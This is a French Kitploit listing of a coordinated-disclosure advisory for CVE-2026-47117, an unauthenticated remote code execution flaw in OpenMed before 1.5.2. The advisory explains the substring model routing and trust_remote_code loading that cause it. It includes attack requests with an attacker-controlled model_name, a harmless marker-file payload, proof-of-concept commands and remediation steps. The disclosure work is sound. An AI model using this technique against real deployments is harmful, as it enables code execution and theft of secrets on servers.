Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-47117-openmed-rce — OpenMed < 1.5.2 RCE non authentifié via le chargement du modèle de filtre de confidentialité PII et trust_remote_code=True | Kitploit
Outils/GitHubGitHub/saiteja-erukude/cve-2026-47117-openmed-rce
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionSécurité de l'IA
GitHubsaiteja-erukude/cve-2026-47117-openmed-rce

CVE-2026-47117-openmed-rce

OpenMed < 1.5.2 RCE non authentifié via le chargement du modèle de filtre de confidentialité PII et trust_remote_code=True

Voir le dépôt
17il y a 10 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-47117 : Exécution de code à distance non authentifiée dans OpenMed via le chargement de modèles PII

Gravité : Critique, CVSS 4.0 9.3, CVSS 3.1 9.8 (attribuée par VulnCheck, la CNA)

Vecteur (v4.0) : CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Vecteur (v3.1) : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affecté : OpenMed < 1.5.2

Corrigé dans : 1.5.2

CWE : CWE-94 (Contrôle inapproprié de la génération de code, injection de code)

Découvert et signalé par : Sai Teja Erukude

Publié : 2 juin 2026


Résumé

OpenMed antérieur à 1.5.2 contient une vulnérabilité d'exécution de code à distance non authentifiée dans le chemin de chargement du modèle de filtre de confidentialité PII.

Les points de terminaison de l'API REST POST /pii/extract et POST /pii/deidentify acceptent une valeur model_name issue du corps de la requête. Dans les versions vulnérables, le répartiteur du filtre de confidentialité utilisait une correspondance de sous-chaîne large sur cette valeur contrôlée par l'attaquant. Un nom de modèle tel que attacker/foo-privacy-filter-bar pouvait donc être routé vers le backend du filtre de confidentialité.

Sur les déploiements non-MLX/Torch, ce backend chargeait les artefacts de modèle Hugging Face via Transformers avec trust_remote_code=True. Si le dépôt de modèle contrôlé par l'attaquant contenait du code Transformers personnalisé référencé via auto_map dans config.json ou tokenizer_config.json, Transformers importait et exécutait ce code Python lors du chargement du modèle ou du tokenizer.

Le code importé s'exécutait avec les privilèges du processus du service OpenMed.

Impact

Un attaquant distant non authentifié capable d'atteindre l'API REST d'OpenMed peut exécuter du code Python arbitraire sur le serveur en fournissant un identifiant de modèle de style Hugging Face malveillant dans model_name.

Selon le déploiement du service, cela peut permettre :

  • La lecture ou la modification de fichiers accessibles au processus OpenMed.
  • L'accès aux variables d'environnement et aux secrets de l'application.
  • L'appel de services internes joignables depuis l'hôte OpenMed.
  • La perturbation ou le remplacement du comportement de l'application.

Points de terminaison affectés

Le problème est atteignable via les deux points de terminaison PII, car tous deux acceptent model_name et utilisent le même chemin d'extraction PII/chargement de modèle :

POST /pii/extract
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}
POST /pii/deidentify
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}

Détail technique

Le flux de contrôle vulnérable présente deux défaillances de frontière de confiance :

  1. L'API faisait confiance à un model_name fourni par l'utilisateur lors de la sélection du backend de filtre de confidentialité.
  2. Le backend sélectionné faisait confiance au code du dépôt de modèles distant en chargeant les artefacts Transformers avec trust_remote_code=True.

Le répartiteur traitait tout identifiant de modèle contenant privacy-filter comme appartenant à la famille des filtres de confidentialité. Cela permettait à des identifiants contrôlés par l'attaquant, par exemple attacker/foo-privacy-filter-bar, d'atteindre un chemin de code destiné aux modèles Privacy Filter de première partie dignes de confiance.

Une fois routé vers ce chemin, Transformers pouvait charger du code personnalisé contrôlé par l'attaquant via auto_map. Cette importation se produit lors du chargement du modèle/tokenizer, avant qu'une quelconque inférence utile n'ait à réussir. Une charge utile de preuve peut donc être aussi réduite que :

from pathlib import Path

Path("marker.txt").write_text(
    "custom Transformers code executed via trust_remote_code\n",
    encoding="utf-8",
)

Preuve de concept

poc_exploit.py construit un répertoire de modèle local inoffensif au format Hugging Face dont le nom contient privacy-filter. Les modules Transformers personnalisés générés écrivent un fichier marqueur lors de leur importation. Le script envoie ensuite une requête à une instance de test de l'API OpenMed avec ce répertoire comme model_name.

Le comportement attendu sur les versions vulnérables d'OpenMed est le suivant :

  1. L'API accepte le model_name contrôlé par l'attaquant.
  2. Le routage par sous-chaîne l'envoie vers le backend privacy-filter.
  3. Transformers importe le module personnalisé généré car trust_remote_code=True.
  4. Le fichier marqueur est créé, prouvant l'exécution de code dans le processus du service OpenMed.
  5. La requête peut échouer par la suite car le modèle factice n'est pas un véritable modèle Privacy Filter ; le marqueur créé à l'importation constitue la preuve pertinente.

À exécuter uniquement contre une instance de test locale :

pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract

Si le service OpenMed s'exécute dans un environnement qui ne peut pas accéder au répertoire local généré, publiez un modèle de test équivalent dans un dépôt Hugging Face contrôlé et transmettez cet identifiant explicitement :

python poc_exploit.py \
  --target http://127.0.0.1:8000 \
  --model-name your-org/foo-privacy-filter-bar \
  --marker marker.txt

Remédiation

Mettez à niveau vers OpenMed 1.5.2 ou une version ultérieure.

OpenMed 1.5.2 sépare le routage de la confiance :

  • Les noms de dépôts arbitraires contenant privacy-filter ne sont plus routés via le chemin de confiance privacy-filter.
  • PrivacyFilterTorchPipeline définit trust_remote_code sur False par défaut.
  • Seuls les dépôts Privacy Filter explicites de première partie sont autorisés pour le chargement de code distant de confiance.
  • Les opérateurs qui ont besoin de fine-tunes privés contrôlés peuvent les autoriser avec OPENMED_TRUSTED_REMOTE_CODE_MODELS.

Si une mise à niveau immédiate n'est pas possible :

  • N'exposez pas l'API REST vulnérable à des clients non fiables.
  • Ne transmettez pas de valeurs model_name contrôlées par l'utilisateur à Transformers avec trust_remote_code=True.
  • Remplacez le routage de modèles basé sur des sous-chaînes par des identifiants de modèles de confiance exacts.
  • Préchargez les artefacts de modèles locaux approuvés en production et désactivez les téléchargements arbitraires de modèles.

Chronologie de divulgation

DateÉvénement
18 mai 2026Vulnérabilité soumise à VulnCheck
20 mai 2026VulnCheck a initié la démarche de divulgation coordonnée
22 mai 2026CVE-2026-47117 attribuée provisoirement
1er juin 2026Correctif OpenMed 1.5.2 examiné et confirmé
2 juin 2026CVE-2026-47117 publiée

Crédit

Découverte et signalée par Sai Teja Erukude.

La divulgation a été coordonnée via VulnCheck.

Références

  • Enregistrement CVE : https://www.cve.org/CVERecord?id=CVE-2026-47117
  • NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-47117
  • Avis VulnCheck : https://www.vulncheck.com/advisories/openmed-remote-code-execution-via-pii-model-loading
  • Notes de version d'OpenMed 1.5.2 : https://github.com/maziyarpanahi/openmed/releases/tag/v1.5.2
  • Projet OpenMed : https://github.com/maziyarpanahi/openmed
Télécharger l’outil